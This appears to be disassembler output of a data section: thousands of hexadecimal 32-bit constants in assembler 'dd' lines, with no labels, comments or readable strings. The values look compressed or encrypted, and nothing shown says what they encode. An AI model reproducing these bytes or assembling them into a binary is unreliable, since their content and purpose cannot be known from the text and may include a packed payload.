		dd 0E102AA90h, 2C79B97Eh, 23A049E9h, 0EA194013h, 3F11882Fh
		dd 4C562801h, 7C4CB74Ch, 118CC898h, 346528BDh, 48319B2Bh
		dd 7CF57D01h, 118230B7h, 6202D35Dh, 1B24E844h, 5565DCBBh
		dd 1349A826h, 2067E516h, 327B8168h, 11EFA491h, 0A2F7FD03h
		dd 100033D3h, 0E37276F6h, 3C95BB0Bh, 7C0059DAh,	50713BC0h
		dd 757F19CFh, 0D016C70Bh, 0D4E4005Ch, 0E8F8ACFCh, 0A7C30040h
		dd 0A5CF7297h, 0F8B054A8h, 0B920631Fh, 18AC003Fh, 16559708h
		dd 43C50F1Eh, 3EDD3BE3h, 1B32F920h, 0E02B40A1h,	0A27400Ch
		dd 1D59D0FEh, 1A414040h, 42789BA1h, 0E422F61Fh,	53971F07h
		dd 986C308Ah, 194E14CEh, 0E3CB1C12h, 38C84886h,	14B8E9E4h
		dd 291A533Ah, 34AC60CEh, 18DC0468h, 70121A4Fh, 945CE819h
		dd 78AE2E25h, 1D001823h, 1E5C97A5h, 0E9AA01A8h,	0A4D559D8h
		dd 602C5D19h, 0C4A0CFE8h, 0E57CD952h, 0BE964C50h, 3E385153h
		dd 900F0520h, 0B0C3E54Ch, 144AF745h, 3B403852h,	0DE4A00BEh
		dd 1D5AB90Fh, 0D0E8C315h, 19F8AC54h, 0D6A7D50Ah, 0A35594E7h
		dd 73C0D704h, 98C608CBh, 71050F18h, 5780B86Fh, 0ABA8D053h
		dd 12185200h, 0FDA92CFh, 554DD6h, 0C1197874h, 0D552AC28h
		dd 0A698244Bh, 68141D00h, 0D417D094h, 40164C54h, 2860523Ch
		dd 0BEA88F1Fh, 0D420554Ch, 0C84C026Ch, 43A99BA5h, 745056ECh
		dd 0DEEE950Dh, 2B600491h, 0E800FF04h, 191E5D65h, 8C0B53D1h
		dd 2443D202h, 40987F90h, 58534890h, 1A44820Ch, 59E84012h
		dd 204C70F0h, 3CF448D0h, 0E7ED7A5Fh, 0A2194013h, 0A78CC000h
		dd 0E185C9Ah, 1F4EAB5Bh, 8C80109Ah, 17C3B97Ch, 1E54CF1Ch
		dd 701FD556h, 8F4EA64Eh, 1C7F0444h, 1B58A080h, 1810C6A7h
		dd 0C6246003h, 5830AC1Eh, 3A2754A6h, 0C4308212h, 0AC2B7F40h
		dd 0C36FA774h, 7C50FC8h, 304C519Bh, 788C7C4Eh, 54A1C7A7h
		dd 55D2C019h, 0D40A041Dh, 9859275Ch, 567D0448h,	9E3EF8A5h
		dd 5B1740D2h, 0A1DED460h, 8C432CAAh, 8091C760h,	0CF5DC3FAh
		dd 50D55B09h, 4EB83A1Ah, 14521218h, 1BF00917h, 0CC071C8Bh
		dd 804F44A7h, 0CA7FD0E8h, 90C2AE7Ch, 0C357A6ACh, 0F058C67Ch
		dd 0C3553A99h, 8D6090A8h, 0E8407D04h, 0B2C94175h, 18EF16C4h
		dd 12B40B99h, 0C55BE438h, 0CB0C3F4Ch, 1F980115h, 0DC60D6ABh
		dd 0D821E912h, 2C287CD3h, 49C497A8h, 0C35B1C01h, 4E0C34ACh
		dd 0E45D2741h, 0A8502CF3h, 2F3D8FC0h, 2081188Bh, 30A21D45h
		dd 69DFCF10h, 4319AC1Fh, 2072D5C2h, 2C194E14h, 0C23C87B4h
		dd 0D4F0CFAEh, 0EB3431F7h, 7FD4580Ch, 7C4F9CC9h, 0DEB0CC1Fh
		dd 18A64E80h, 14265090h, 0FCD73861h, 0C057048Fh, 0D098BE0Fh
		dd 84200C5Bh, 21131691h, 57C21FD6h, 0B189D53h, 0C8004ECAh
		dd 1216E0A6h, 6853D029h, 970801DEh, 0A6A2C472h,	0D0D86043h
		dd 2646F5Dh, 99122054h,	6618AB40h, 8C5088F8h, 75723AF6h
		dd 55D4F20Bh, 0C4A720A0h, 38B8CE1Eh, 89AA1227h,	27D05944h
		dd 0D4793C12h, 8077228Eh, 1658B7A7h, 4ED4391Eh,	51971A82h
		dd 8CE10118h, 70C4F51Bh, 631D5B70h, 0B71FBB70h,	50B09C28h
		dd 9B03151Fh, 0A79720B0h, 0C3A51D18h, 0D11E0945h, 2D4050E9h
		dd 0BD1F83C8h, 0B96803ABh, 1E5D6FF8h, 1A800AEDh, 0E9925D34h
		dd 0FB18ECC2h, 7C34A150h, 525FD1E4h, 0ABE49073h, 0F001A5D0h
		dd 0FEBCFD82h, 11AE1D0h, 8C55D1A5h, 9D549A14h, 0A7C34121h
		dd 0A2C95CD4h, 5BC8849Bh, 0D9D230E1h, 0CAC89E0h, 381A80C2h
		dd 73E71097h, 53D416C0h, 1EE8DFB9h, 0F028751Bh,	0EF247E60h
		dd 0DC201CA4h, 1B3057FEh, 13CF201Fh, 0C3551DA6h, 1D540418h
		dd 77B8E119h, 0C43B2AE0h, 880F851h, 5A4EF28Ch, 9B11F860h
		dd 5BC80651h, 881DAE72h, 0DCA3527Fh, 44F88CA1h,	1ED81DD0h
		dd 0CEF5015Bh, 3120C94Eh, 400BE104h, 97A8C380h,	3A829B01h
		dd 0A71E51C5h, 95BF053h, 62ACC660h, 59982851h, 645B2728h
		dd 0AA6E998h, 0DC4A58A8h, 5A233762h, 0A548C260h, 0D4D19BABh
		dd 1C4EC382h, 0B544431Fh, 64A6F434h, 0A2F0494Fh, 30C12009h
		dd 9B01F05Dh, 1318553Eh, 6CC25AC3h, 0D0F08245h,	7F185140h
		dd 9B490D6h, 5CA9A7C6h,	49BEDC80h, 9701191Bh, 0C977011Fh
		dd 3180A5D7h, 2D2FD680h, 0C20074F8h, 7F3E2637h,	5862A6B1h
		dd 11004608h, 351DFDA3h, 960168A5h, 0AC22873Eh,	77F47BA2h
		dd 302667DFh, 0BC84203Bh, 5F0CFD08h, 9036EF6Bh,	0A0F800BEh
		dd 39784279h, 0DD00C90Eh, 0F53CA686h, 4FB8B44Ah, 201093E0h
		dd 737234A8h, 20EA5429h, 30DABA62h, 0F020E0C0h,	0FE35397Fh
		dd 0C0908F37h, 0CE5634E3h, 3A085D50h, 0D0703C62h, 3E1F237Bh
		dd 385ED811h, 7035A706h, 909730B9h, 0CA076Ch, 31741563h
		dd 0F3D0F421h, 33401CACh, 50909DD3h, 0C3009A08h, 87AD228Ah
		dd 146CEh, 7F86CC6Ah, 0BF1F9C31h, 31268330h, 1694982h
		dd 885BFB0Ah, 98E3A337h, 0B7217F08h, 22690073h,	24B4D3EFh
		dd 0F0039FF3h, 633AA2C7h, 444EE81Dh, 49238h, 0D165CC5Bh
		dd 0A882C7BEh, 8B7B633h, 0F5210047h, 0A36D6374h, 8550CCF8h
		dd 49C83B88h, 65BFC071h, 0CF21BECEh, 0C7F26083h, 603B8965h
		dd 0A0E7A0DFh, 887A270Ch, 2927B4A7h, 222CE86Ah,	0B791A54h
		dd 98397075h, 1C181D19h, 58688173h, 1646E2CCh, 88C91A3Eh
		dd 0AD83FF00h, 0B28229E2h, 48951830h, 306E37CCh, 0BEA07DB7h
		dd 7A52DCE0h, 31080680h, 0F61A93Ch, 3DCC8C01h, 0C4B0C081h
		dd 0C8705EDDh, 4B23D652h, 0BC980017h, 3AF53035h, 8C576E18h
		dd 0C0879E88h, 0C077F069h, 0AD03F526h, 0FE827F48h, 399F0AEh
		dd 0E73E0423h, 8053F9F6h, 743B21D4h, 71A8D830h,	1E50D8Ch
		dd 9606FB4Dh, 98F72324h, 0EA219108h, 31E50005h,	0FD4450F5h
		dd 0B312AF67h, 9800343Ah, 80B2A93Fh, 0A3D0C3B9h, 2DE0FD7Ch
		dd 0BD2BC382h, 80D99C3Dh, 697EFB1Ch, 2069836Fh,	812649E3h
		dd 0D04B5A9Bh, 99FAE908h, 0B4B22C00h, 71575C8Fh, 7A6C1C56h
		dd 9D7B0265h, 0C04CB31Fh, 0E69450Fh, 8A88D1FBh,	694D6380h
		dd 97316B7h, 0B61C6E7Dh, 19E73421h, 0CC4EE09Ch,	5D28BB00h
		dd 38FC7B01h, 10344CEEh, 0B588E86Fh, 7CE6519Fh,	38064E51h
		dd 0A4EFEB18h, 28263558h, 709836B2h, 610200BAh,	381F7834h
		dd 0A54DCA10h, 1486C8C0h
		dd 39E120EAh, 2401804h,	5CDC9E23h, 28429D2Ch, 74C6F848h
		dd 0A1380A04h, 0B900236Fh, 70563DB6h, 40588E05h, 0D020B77Dh
		dd 60F3A0FDh, 3C32835h,	0EB0A3EB2h, 90B11CCDh, 3C4A5C80h
		dd 39677614h, 0B78083CCh, 0FA6E0468h, 0C004366h, 1F01FFDDh
		dd 0C089B256h, 0D5FD1BB0h, 0F8286A02h, 0C3069CB7h, 6D53263Bh
		dd 7600A20h, 0A08BD1h, 0F166331Fh, 7E302634h, 0FD112025h
		dd 0B26515C9h, 0C77BC38h, 30B9FE37h, 78000320h,	0A4CBA84Eh
		dd 38BB2DDh, 61ADDF17h,	307189F8h, 0B9785F7Ch, 41F1E716h
		dd 59713044h, 5DF23C00h, 1A3002ACh, 0D780E924h,	37C00178h
		dd 0BD365727h, 0B20898E8h, 1BFE121h, 0DFD59C78h, 0BFB9B64Ch
		dd 0AB6E0D19h, 0F7F1588Eh, 61FE0C51h, 88471A6h,	1397B68h
		dd 0AEAC2E72h, 78254DFDh, 43000023h, 451956FAh,	0BE00CFB0h
		dd 7A9FB155h, 529A041h,	0C1D73F3h, 0E9F06249h, 0D8A47060h
		dd 5B6D61C0h, 1C8457A3h, 0B6BB2ABh, 3C792281h, 24B9FB02h
		dd 0CCA3003Dh, 0EA2D7C82h, 0C48E67Bh, 4A2A30FDh, 862CAD30h
		dd 465E789Dh, 9E380E8Bh, 5EAF80CEh, 5742342h, 992C5B22h
		dd 0CAF804A8h, 68E91E96h, 641FC012h, 9A0CD5C0h,	3F8D97D4h
		dd 9C855A4Ch, 36ACFA79h, 7A2DA8F4h, 0A8EE3Fh, 34416498h
		dd 7571CD21h, 819CE214h, 0A4F010C4h, 0BAC5609h,	0ECB40031h
		dd 0EF7E37CBh, 0E0B14486h, 6378BC04h, 4C8C6685h, 0E371EB8h
		dd 8658E292h, 306D26E5h, 0B295C361h, 1455EEC0h,	6015D0C1h
		dd 93080293h, 1840817Ch, 0BA81582Dh, 0BD005C23h, 9D4F7D9Bh
		dd 0F2183BEFh, 94C82C69h, 26D18186h, 0B1B90B94h, 0D8522Ah
		dd 7C1144B6h, 4A57D4BDh, 3632621Eh, 0D424BF0Ah,	0DC24279Dh
		dd 3994C067h, 1211D48Ch, 20AA3ECh, 3F779498h, 88296846h
		dd 89F1A47Eh, 4900A818h, 78B2FD8h, 5640D530h, 0B926AC8Dh
		dd 197D0F70h, 0E7281BC1h, 0F75ECCEFh, 1812504Ah, 7C823865h
		dd 65CD3073h, 0BFBED008h, 40506482h, 0AA6375F8h, 4CFF02CEh
		dd 999D5217h, 0C217204Ch, 0AF008E6Dh, 0B47CC681h, 1CCA4D0Ch
		dd 0B8B77842h, 7259B2C0h, 76390062h, 40558D2Ch,	1425B1FBh
		dd 0BC282424h, 0F3694860h, 11E3FB23h, 7062007Eh, 0DC4A4C69h
		dd 9F190004h, 0A227F03Fh, 710A49FDh, 948260F8h,	4605A713h
		dd 14CCD6C8h, 41E50809h, 8BC4A6FBh, 0E501E640h,	8700A02Dh
		dd 2E5CB1C7h, 15B029Ah,	235756B4h, 307F3475h, 0B640FCB8h
		dd 0F1BC611Ah, 0CC6836F5h, 0C200AB95h, 0C4230637h, 95F6D99h
		dd 0FBB1CD8Bh, 0F4805012h, 0AF4C1EBEh, 0F0D4A013h, 0B8B15047h
		dd 0B0E02898h, 2724674h, 0FB47E5F3h, 107531F6h,	0B8E50AECh
		dd 3D6D2CA6h, 915E08A4h, 70461428h, 0CB65CA02h,	1CB7BEh
		dd 0CB6372FBh, 5DC32F80h, 2C0133Eh, 2B45B6C6h, 77B4B0E4h
		dd 18BA2D01h, 299AC4E0h, 0F95EB10Fh, 0B0888959h, 2062D3C0h
		dd 7C849050h, 0B8C20108h, 0B6C540B4h, 0EF04E852h, 75C8F8BDh
		dd 8C01B888h, 0C108CE7Bh, 64571F37h, 0B6E24086h, 0E37B78h
		dd 107AF824h, 3AF4C0CDh, 5B51F614h, 64428Ch, 0D02FC4E3h
		dd 49837731h, 0F07F3835h, 37560F52h, 0EB008EC1h, 48C3F20Ch
		dd 5ACEFD04h, 6CD8D1F3h, 74AFBD1Ah, 0E3234C0h, 6639FF4Bh
		dd 6580537h, 0A442217Ch, 0B21C22D2h, 0C7386284h, 608B44F0h
		dd 388FD8A1h, 0E7A7952h, 0A0FB21ABh, 9B58468Ch,	0D9EC50E9h
		dd 2A00CE93h, 692B0CD1h, 0BE5C4Bh, 0F70FC66Ah, 0EEE14CC8h
		dd 0B700AC9Bh, 34CC6B40h, 1E1B1E58h, 7BD0A8D4h,	0B6EF03Ch
		dd 33ABC20Ch, 0DB82F0F1h, 94959062h, 44C8A7F4h,	6A3A6074h
		dd 41B80272h, 505C6EC6h, 5F329481h, 54C83039h, 0B4C704EFh
		dd 6C55AEC2h, 187660A8h, 0B0871F26h, 0DBD61E05h, 0EC8E6E99h
		dd 0E0CF8C88h, 0A00C343Ch, 904D6279h, 6CCEC51Ah, 4B13A00h
		dd 0BF60D5A3h, 3980A6B0h, 0CD838C02h, 9D246ADAh, 37D43040h
		dd 14C63E40h, 6070B26Dh, 8C046588h, 9481B933h, 9A0084F0h
		dd 0A104C116h, 25FE3AE2h, 353C50B0h, 16F4A0E7h,	23F42F98h
		dd 0B9390385h, 9B906BB7h, 94F26A7Bh, 0B1912C94h, 0A34ABD80h
		dd 0BF4093D0h, 320716ECh, 1894278Ch, 360E3583h,	0BB181C79h
		dd 0F2AD17E0h, 3D171034h, 87E8044Ch, 0DB5C0E8Ch, 7BEB5634h
		dd 84362091h, 0C1FE3561h, 28659CA0h, 0CB06FDDh,	3622577Ch
		dd 0E8CB970h, 0FB10694Bh, 4065E290h, 3E4FA900h,	20C855B0h
		dd 0E01DE450h, 222031B1h, 7F66E8h, 9409073Ch, 228014Ch
		dd 5022E0B2h, 3F6A10F8h, 973CCA83h, 807F1144h, 6B3E0FECh
		dd 0B8FF0787h, 0E1020AA1h, 848091F6h, 0A868E781h, 8C060488h
		dd 0CC11CB7Bh, 8988C737h, 83B3FD8Bh, 0D16C54AFh, 0E5602615h
		dd 0B42A0FF2h, 0DB6CB0C0h, 1024558h, 6E322279h,	9F704824h
		dd 805F04FEh, 13B5E8C2h, 8B84C0CFh, 86107E7Ah, 0A483B87Ah
		dd 4F4D01ECh, 9BCA1972h, 0A7D1E791h, 8EDCE0C2h,	55533207h
		dd 759E469h, 7784BD4h, 0C3AB7D48h, 0C0A0D4BFh, 0A0EB727h
		dd 0C15E4786h, 0FF561B24h, 21C30898h, 860312A0h, 0BC9D225Ah
		dd 734023DEh, 49860801h, 0D018175Eh, 109288h, 0F3635D86h
		dd 8052E16Bh, 0D0F23700h, 22566102h, 103B602Ch,	0F0DE590Ch
		dd 94B58301h, 1BD8FDD7h, 7480ED3h, 762F6E8Dh, 9EC4DFE1h
		dd 6089893h, 0FE855D21h, 0CFA0123h, 5B179BB4h, 52D1F0B6h
		dd 5AF230E5h, 64084000h, 0D272C1C2h, 0A76F4h, 0FD4687AEh
		dd 0BAAA2FF7h, 0AD1FA101h, 40DE2128h, 30861BF9h, 0D1431EF9h
		dd 0FF3DBE7Ch, 3F00FCF6h, 95662EDDh, 3C448EFEh,	0D08199BBh
		dd 4C5A74C2h, 38D8813Dh, 0D3D5B693h, 46D795F0h,	6E8C02FEh
		dd 1C8B766Dh, 6E845C01h, 9DB3CCEFh, 371A4FCh, 4A1DFE46h
		dd 60003A7Ch, 5D188B0Bh, 9E48DFh, 0D8ECAE14h, 28730CCCh
		dd 0C0250607h, 0C0CCFF31h, 6ACB00D7h, 544489DCh, 2C37D2FBh
		dd 215C0804h, 0DC730001h, 0D53514B7h, 0C20372C8h, 0CF485E30h
		dd 66F800F3h, 0C683527Ah, 60C8D0EFh, 8167C42Eh,	487C4442h
		dd 0EC88D630h, 0AEDC006Fh, 19742F28h, 8F05B067h, 5A3F505Eh
		dd 0E45B80Fh, 0A23187D3h, 5C81BC7Ah, 8BA1F991h,	0D6213A8Ch
		dd 5018DC19h, 62385523h, 0ABE71E8h, 0C5CEEA45h,	0BAD702FCh
		dd 0A8A03143h, 0BFF059F6h, 3DA39CA0h, 0B70090DFh, 0DF13894Ch
		dd 5C68060Bh, 58BECFF4h, 19674B40h, 0F1072A9Ch,	0BA9891ABh
		dd 32132E00h, 9571B990h, 0B02A9B06h, 0F029F218h, 50BC88CEh
		dd 0A0EF1F28h, 8AEA3D0Ch, 1A20A0E1h, 18ED7F40h,	0E838902Ch
		dd 0BC00EF7Eh, 2D9557C3h, 0CEBF1311h, 18906F50h, 7F31BEFFh
		dd 996C3FACh, 43A09D9Ch, 7E06FEAAh, 0E38F13B8h,	0F1C9FB03h
		dd 39C638C7h, 8D02BD61h, 0D65D8B44h, 52E05840h,	0B91B7036h
		dd 32EC8159h, 0DC086B18h, 0C45C448Ah, 74005CD5h, 421941DCh
		dd 754501FFh, 5D2AA75Fh, 0D49C4CC2h, 0FD2C828Ah, 86CE0h
		dd 417E26BEh, 21F4BB6Dh, 0B4AD3F00h, 0F2E9BDE8h, 0D898A0B8h
		dd 0F1432070h, 2BE56200h, 0AFA1BB63h, 5E20C1F6h, 7EC4F70h
		dd 685CAE20h, 0E4565063h, 1C1B4958h, 0C82A7404h, 92D09726h
		dd 8480BC35h, 155C4254h, 5431FE80h, 746A5875h, 0BA0609F8h
		dd 282020BBh, 386C2276h, 6AB34480h, 0D904969h, 80181E04h
		dd 5AE2AEC8h, 0C3C4BF70h, 91E9E051h, 0EF10ADA0h, 0F0941201h
		dd 73784550h, 26A424D4h, 38246DFCh, 0BC67916Eh,	81A9F4A1h
		dd 0B9FF80h, 15D6CD7h
		dd 0E82248FDh, 60F5DBB2h, 9D0F3C7Bh, 0A5BE2EB1h, 870EFC23h
		dd 2187C167h, 8830B7BDh, 0CF122809h, 6741EA4h, 0D671C4FBh
		dd 50D801ACh, 9C415817h, 5C429E31h, 9F3C87FEh, 0EAA17E0h
		dd 0C9100059h, 96E4425h, 13E29B5Eh, 2756B702h, 48C4A385h
		dd 45203Ch, 32B81514h, 5B3FBFB3h, 212C08CCh, 1C14EAFEh
		dd 0C121B295h, 0B55CAD87h, 7F488CBAh, 7F25792Bh, 545092C5h
		dd 0A4A7C43Fh, 28700568h, 402FB441h, 0E96043CCh, 40B3C2D2h
		dd 89A05980h, 1227F95Ch, 422A4021h, 0AC4F4308h,	2A01209h
		dd 41CB02B9h, 0F7CCAA64h, 0BD89151h, 903E92Ch, 98081C62h
		dd 801BD912h, 616E7807h, 0F09B6B76h, 60000511h,	4E0A6E90h
		dd 5B122E94h, 180001EAh, 0BD816BEh, 0F8B040B7h,	71E95334h
		dd 3ADE009h, 78297984h,	5236FCF0h, 0FB1EDCBCh, 0A222E0F9h
		dd 468606DFh, 0D8D209BBh, 5EFE4818h, 0A831A351h, 380A58C0h
		dd 7E07C832h, 0E051B8EFh, 6D3A450Ch, 0D6A55D39h, 79185084h
		dd 6C3AE20h, 0B9B2AA78h, 760560DAh, 0F225E042h,	640F1095h
		dd 80895ECh, 481B682Ah,	0D8FC089Ch, 676E8E60h, 809B4376h
		dd 0CE6E865Eh, 0B9E250h, 2C9FC3B6h, 630EEAC9h, 74507263h
		dd 0C703B99Bh, 30C82020h, 0B7E93A46h, 0C2648A89h, 0B8D27DB8h
		dd 34FC8401h, 0ED741491h, 4E89E085h, 0C7AC21DEh, 154000EEh
		dd 0EA460025h, 30AAEF9Bh, 0AC4DD0A2h, 343F2814h, 0D30910B0h
		dd 5AA6A4Dh, 0BF102850h, 0DB9D11CCh, 1839C814h,	18B6BF2Ch
		dd 0BD7B71C5h, 75A1AF63h, 2E3102D2h, 0AD74464Eh, 18FB9C91h
		dd 686E088Fh, 4C49376h,	6E876740h, 0DA071AB1h, 113149FDh
		dd 59E62D0h, 9DBE0166h,	0D685E8F8h, 43045B5h, 18C96D1Ch
		dd 6173FE11h, 4A762010h, 18447588h, 0D60937A0h,	8E1C3348h
		dd 0EE712320h, 77D80CBBh, 67F13BA4h, 4E300E07h,	9550FA45h
		dd 0B42F3DAh, 62E9BCA9h, 2E76DCA0h, 0C71B27C8h,	0A9396340h
		dd 0AC70C9E2h, 0D2EF222Bh, 0F1C2BCA5h, 3BEF18D6h, 0BEB8E862h
		dd 0C8BF0234h, 838AB4A0h, 0E800F084h, 1DE74291h, 9FBCFh
		dd 4117692Fh, 453A922Eh, 473030B0h, 0BEAEE91Bh,	1633570h
		dd 813C0210h, 0C02244BAh, 57244145h, 75C72184h,	0A4A88852h
		dd 0AA293967h, 0A1EA33B3h, 0B444ED24h, 0CA8628C7h, 42BA1828h
		dd 56415122h, 97E8A203h, 0D0888A87h, 0C58EE7h, 3AFDC989h
		dd 44A17007h, 397B8F00h, 51E163C4h, 2318C018h, 147608BFh
		dd 0FD5CC200h, 6102A0A9h, 33772Ah, 43727583h, 1EACA17Bh
		dd 2CAA6980h, 2636676h,	0DC18E17h, 335F8B80h, 0DA1CEDF6h
		dd 0C068F132h, 94137000h, 0C43B8874h, 2EF9070Dh, 0A0763CC2h
		dd 870868Ch, 0FB562306h, 0A3486007h, 2D09E016h,	0FA367C35h
		dd 932A1BD4h, 0E06383Fh, 2C81FF46h, 99760120h, 0C1C9B138h
		dd 147080C6h, 67261B56h, 0CEF308BFh, 0AD023AE6h, 8063B744h
		dd 0B2E98F80h, 0A004609Fh, 972E58F6h, 73EE8C18h, 14023C20h
		dd 2041723Bh, 189AA1F1h, 35BC2A23h, 0E18938A4h,	0D901AB1h
		dd 40BE3Bh, 5EC8E97Ch, 30679478h, 9019C7ADh, 26549D69h
		dd 851CC38Ch, 0DA40945Ch, 9B8C9C8h, 0EC19003Fh,	0EEF96A4Ch
		dd 0B6068882h, 6E9E94ADh, 0F1F50C90h, 15701CD9h, 0CCC49D0h
		dd 11179E47h, 0F16D0234h, 105DAD29h, 98058E61h,	69213008h
		dd 28F10075h, 1DF2FA8Eh, 813AB695h, 42D200BBh, 613EE391h
		dd 0C76D30C9h, 0D4898C68h, 0C2E29202h, 803BFDE6h, 9A9F9C8h
		dd 71149079h, 2CE0F9C3h, 0BD10C112h, 0F414D3B6h, 48902636h
		dd 3C735C03h, 0E1E4CC4h, 0B413F6B9h, 9D854ECh, 3F99B618h
		dd 8C1855E0h, 0D8158C7Bh, 0E140D471h, 860810B0h, 4C470645h
		dd 0C686086h, 3C31E03Dh, 82002F60h, 0E9AF7BA7h,	50B7F18Eh
		dd 3064F4C7h, 0A660C0C3h, 2A796E31h, 2D4EB103h,	0E1BF0A55h
		dd 68956B6Ch, 0C31EECC1h, 983AD886h, 19C71351h,	380C997h
		dd 7FB6FB2Eh, 7520C61Dh, 1C74D814h, 73D47218h, 17C5611h
		dd 68FD5B87h, 98F53026h, 36216B09h, 1D870764h, 506D0270h
		dd 0B3EB0F67h, 26F6801Fh, 6028D94Ch, 41A71DC4h,	801214FFh
		dd 46237604h, 358954Eh,	30DA65E8h, 2D1C1100h, 3A8B68D7h
		dd 0B3C61948h, 801A0832h, 0D7257321h, 1E639AAh,	2982F4DBh
		dd 1105B923h, 0A1BF642Bh, 57746800h, 4A44F377h,	3AFA9D00h
		dd 0B47EB516h, 0BC524809h, 3C735F08h, 0B5A8670Eh, 896403A0h
		dd 26E50D88h, 9107179h,	0F80E68E3h, 338619E8h, 1D7197B7h
		dd 291CA975h, 0F10A18F8h, 2F00EDF5h, 72318A93h,	98EFB70Dh
		dd 0AF100158h, 0C76A9C3h, 69798F35h, 0DEBA20DBh, 7318688Ch
		dd 2A5B0053h, 16212BB1h, 4920625Ch, 9D6D4477h, 4C3849h
		dd 83CFAA7Bh, 0F0C7C5A4h, 0BDDD04D5h, 8027F968h, 0EBF27A35h
		dd 587D4100h, 0ACB9773Ch, 10B0D860h, 0C6600C25h, 0B35B2289h
		dd 4FB9037Dh, 70412852h, 212B0830h, 9B34301h, 44488F2h
		dd 0D4965084h, 7BE808B4h, 0F08117C5h, 0E8580A8Bh, 2F75881Fh
		dd 5C60D700h, 47381586h, 0A0E901D1h, 0B8131C48h, 4026319Eh
		dd 9BD97724h, 18803D48h, 8CC09C95h, 2446840Bh, 7EB35A02h
		dd 353147B9h, 0B3420017h, 55009622h, 8F0965B7h,	90D7DBF1h
		dd 33740BB8h, 400177E5h, 542C9E42h, 1E0780B0h, 8A064886h
		dd 4423C05Ch, 5DC21351h, 0C620042Ch, 6AFA007Fh,	986D242Eh
		dd 5221E004h, 58F7546Eh, 0FCCBCC0h, 0A6D40219h,	0F3D36716h
		dd 8CE81061h, 313F0DB1h, 22FA9Ah, 5B62931Eh, 268B9CF9h
		dd 4A8CAD09h, 0C038A37Dh, 8A390255h, 0C5A3F540h, 22697CC0h
		dd 77044182h, 87087F18h, 0C470FD58h, 81334B69h,	0BF1BABEAh
		dd 24799CF0h, 281E58CBh, 145F590Ch, 8A46B040h, 8315861h
		dd 0B96405A7h, 244A618Eh, 0C99827F4h, 19140B06h, 0E502CEEh
		dd 2D0DB8F8h, 2974A9FCh, 0B65132B0h, 0DF69B3Ah,	6FCBA0Fh
		dd 40482FC4h, 92A1F559h, 867B1E47h, 765C9BCh, 0B9FBD001h
		dd 623C749Ch, 74CD5600h, 2F265325h, 9C8A52B5h, 94723C3h
		dd 0F40D7109h, 0A8102829h, 31C8221Fh, 0AC17E9C3h, 0B7816E11h
		dd 0F062BA5Dh, 8798238Dh, 0A47CF0C8h, 0C1721830h, 7118A4C4h
		dd 0A5417D2Bh, 0C34B02A8h, 30A03D75h, 0F49DA8B2h, 0A89F3611h
		dd 2DA529D0h, 8F1740C4h, 18D42511h, 0B702274h, 4F718EBFh
		dd 52228C11h, 5D302F40h, 0B97311B3h, 802A88BFh,	0B2B3457Bh
		dd 0A9248374h, 8C01CC72h, 762F4264h, 0ECEBA461h, 0F18B3CC0h
		dd 0FC1D5D05h, 7820E44Ch, 1C05F0B0h, 29B9B6B8h,	3074C822h
		dd 5D088772h, 642598FDh, 7A405E6Fh, 7E2DAD87h, 0F30C15CCh
		dd 0C601F816h, 99E1315Ah, 1374292Ch, 842284C1h,	0D72C3066h
		dd 228B6F16h, 3D726C38h, 2601D724h, 0C5B4017Dh,	363420ABh
		dd 30C98B88h, 95681341h, 73060BEFh, 454C43A5h, 3C315D78h
		dd 4035E612h, 4BB1CD0Ch, 88AC374Eh, 7D1B899h, 45026818h
		dd 36918CB7h, 77EC4167h, 0C043BC52h, 0A15AFF64h, 230CE7F4h
		dd 0B359048Ch, 625FB97Fh, 9007272Eh, 1D7A0AB3h,	0E8F46F00h
		dd 0B8FEA1B5h, 3619288Eh, 252676DCh, 2C1842C1h,	2C10F168h
		dd 56E075ADh, 800F170h,	840DF360h, 9148E67h, 0CD832305h
		dd 26468C14h, 7CB34402h, 20C777B9h, 0B34C0200h,	2588EBFCh
		dd 0B8098DE1h, 64E6B402h, 0DA01ECE5h, 6DF18AD3h, 101C2034h
		dd 1753059h, 0C1849FB3h, 0E44249D4h, 0FBAC91DBh, 0D064F0E1h
		dd 5D4C0569h, 0C80754B9h
		dd 1841A930h, 336B6842h, 0FD5C87A8h, 6C229046h,	877B3F00h
		dd 11C5033Eh, 7A850E3Dh, 0A8E02A41h, 9510546Bh,	6FDE20Eh
		dd 0EBFA2F64h, 0C51002BAh, 0A1730028h, 88C71FECh, 2312B6D5h
		dd 8544445h, 1231F989h,	0E18C9405h, 0B0810CD5h,	0D91105A9h
		dd 0C318002h, 76341E2h,	3EFD0037h, 0EBA731F3h, 5505FFBAh
		dd 359D402Ah, 0E800BC54h, 0BF008C3Fh, 53C0D98Ah, 0A0EBA1FCh
		dd 8012E0A4h, 2933FF47h, 2276D84Dh, 2B2A6DC8h, 0A300987Ch
		dd 0DDFA38F3h, 4A879361h, 4D1C2894h, 6839DA89h,	0EADB6601h
		dd 0FC192FD2h, 0FF02D59Ch, 0E6264188h, 8E08E7Eh, 0D240607h
		dd 0D7004131h, 986EBA72h, 0E74850h, 0E8912188h,	0DA194257h
		dd 0EB2B6F17h, 0D43AF853h, 0AC036123h, 50B0D96h, 85B71171h
		dd 9E80093Dh, 710C04C8h, 3F48D900h, 752B9404h, 849500AAh
		dd 795885DFh, 6B0A1154h, 0F43099C9h, 15D07319h,	61A2AC15h
		dd 0ED86BFD1h, 30261064h, 0A8193A0Dh, 0BE09DD52h, 32DB123Bh
		dd 7A50417Ch, 0D7092818h, 45028B63h, 2080B920h,	6603C1D7h
		dd 0DC3FF257h, 3510811Ah, 69E4A1FDh, 3B72F441h,	942DD1F9h
		dd 4578DC4Ch, 36DC4338h, 1354C8F5h, 2210D540h, 8A3102D8h
		dd 82D4A898h, 22F60D01h, 0D0940744h, 0F742252Ch, 0A8460C6h
		dd 2BC48727h, 0CA36AB60h, 0ACAD3106h, 3A985B16h, 716AF30Dh
		dd 0EE376018h, 0C401355Eh, 0B37EF67Dh, 0B0C82604h, 13540101h
		dd 29E13371h, 108C6232h, 0D450476Ah, 972A4099h,	8403852Eh
		dd 0C350C08h, 9AF901D9h, 0D1C54401h, 6FC0384Bh,	0E147F0h
		dd 25DA98ABh, 0AFAEC926h, 68888133h, 8C513E38h,	3C099CDDh
		dd 0B4022D01h, 982017D9h, 0C3234C28h, 2BA3FB38h, 1320D858h
		dd 70420144h, 1CEE89Eh,	0F46EE777h, 9C2AD1F3h, 0A01FE030h
		dd 0E494646Fh, 0CBF9E120h, 940E2318h, 801639FFh, 0D4FBEF84h
		dd 5CC8945Fh, 0F8002D46h, 0D7F703CCh, 8A07671Bh, 0F556272Ch
